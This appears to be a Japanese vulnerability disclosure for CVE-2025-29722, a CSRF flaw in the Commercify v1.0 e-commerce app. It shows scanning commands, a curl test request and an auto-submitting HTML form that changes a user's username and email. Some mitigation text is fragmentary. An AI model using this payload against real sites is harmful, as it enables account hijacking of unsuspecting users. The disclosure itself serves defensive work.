
Commercify v1.0 におけるクロスサイトリクエストフォージェリ (CSRF)
発見者: David P.S Abraham(別名 Davycipher)
CVE-2025-29722 は、MITRE Corporation によってこの脆弱性に割り当てられました。
CSRF 脆弱性が、@yassmittal によって開発されたオープンソースの e コマースプラットフォームである Commercify v1.0 で特定されました。このアプリケーションには、/update_settings などの重要なエンドポイントに適切な CSRF 保護メカニズムがないため、攻撃者は別のドメインから実行されるとユーザーデータを変更するような悪意のあるリクエストを作成できます。
nmap スキャンにより、サービスがポート 5173 でアクセス可能であることが判明し、開発サーバーの可能性が示されました。
nmap -p 5173 localhost
次に、nikto を使用してアプリをスキャンし、以下が明らかになりました:
X-Frame-Options ヘッダーがないAccess-Control-Allow-Origin: *)アプリケーションを探索中、ユーザーダッシュボードの機能に基づいて update_settings エンドポイントの可能性を疑いました。次のようにテストしました:
curl -X POST "http://localhost:5173/update_settings" \
-d "username=attacker&[email protected]"
404 Not Found が返されましたが、この動作は環境に依存する可能性があります。有効なデプロイメントでは、これによりアカウントの完全な操作につながる可能性があります。
CSRF の欠陥を悪用する HTML ベースの攻撃:
<form action="http://localhost:5173/update_settings" method="POST">
<input type="hidden" name="username" value="attacker">
<input type="hidden" name="email" value="[email protected]">
</form>
<script>
document.forms[0].submit();
</script>
SameSite Cookie 属性がない*)SameSite=Strict または Lax を設定するDavid P.S. Abraham
別名: Davycipher